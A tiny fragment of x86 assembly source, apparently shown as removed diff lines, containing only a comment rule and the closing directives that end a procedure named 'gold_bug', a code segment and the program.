- ;-----------------------------------------------------------------------------
-
- gold_bug endp
- cseg ends
- end com_code
-